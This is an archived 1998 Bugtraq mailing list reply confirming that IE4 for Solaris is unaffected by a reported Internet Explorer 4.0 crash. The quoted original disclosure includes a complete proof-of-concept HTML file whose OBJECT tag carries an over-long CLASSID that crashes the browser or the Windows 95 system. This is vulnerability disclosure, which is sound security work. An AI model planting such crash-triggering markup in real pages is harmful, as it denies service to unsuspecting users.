Bugtraq mailing list archives

Re: Object tag crashes Internet Explorer 4.0

From: mattrose () CYBERUS CA (Matt Rose)
Date: Wed, 29 Jul 1998 16:54:09 -0400


IE4 for Solaris is unaffected

--
Matthew Rose
Systems Administrator
Cyberus Online Inc.


On Tue, 28 Jul 1998, Georgi Guninski wrote:

The <OBJECT> tag seems to crash Internet Explorer 4.0 under Win95 (don't
know about other versions/OS).
The following:
<OBJECT CLASSID=____More than 250 characters here____></OBJECT>
opens a dialog box "IEXPLORE: ...illegal operation" and closes IE 4.0,
or a blue screen with "Fatal exception 0E" and you need to reboot.
I don't think this is exploitable(?), but it is a bad "feature".

Georgi Guninski
guninski () hotmail com
http://www.geocities.com/ResearchTriangle/1711

-------------------------------------Cut here: Object.html -------
<HTML>
Trying to crash IE 4.0
<OBJECT
CLASSID=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111>
</OBJECT>
</HTML>

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com

Current thread:

Re: EMERGENCY: new remote root exploit in UW imapd, (continued)
- Re: EMERGENCY: new remote root exploit in UW imapd Peter Jeremy (Jul 21)
- Re: EMERGENCY: new remote root exploit in UW imapd IBS / Andre Oppermann (Jul 21)
  - Re: EMERGENCY: new remote root exploit in UW imapd Kragen (Jul 22)
    - Re: EMERGENCY: new remote root exploit in UW imapd Adam Shostack (Jul 23)
  - Security Bulletins Digest vtmue () HEAVEN RUF UNI-FREIBURG DE (Jul 23)
  - Apache 1.3.1 Released! Aleph One (Jul 23)
- Re: EMERGENCY: new remote root exploit in UW imapd Alex Le Heux (Jul 22)
- Re: EMERGENCY: new remote root exploit in UW imapd D. J. Bernstein (Jul 28)
- Re: EMERGENCY: new remote root exploit in UW imapd der Mouse (Jul 28)
  - Object tag crashes Internet Explorer 4.0 Georgi Guninski (Jul 28)
    - Re: Object tag crashes Internet Explorer 4.0 Matt Rose (Jul 29)
  - Re: EMERGENCY: new remote root exploit in UW imapd David Schwartz (Jul 28)
  - Re: EMERGENCY: new remote root exploit in UW imapd Kragen (Jul 29)
- Re: EMERGENCY: new remote root exploit in UW imapd D. J. Bernstein (Jul 29)
- Re: EMERGENCY: new remote root exploit in UW imapd Bill Royds (Jul 29)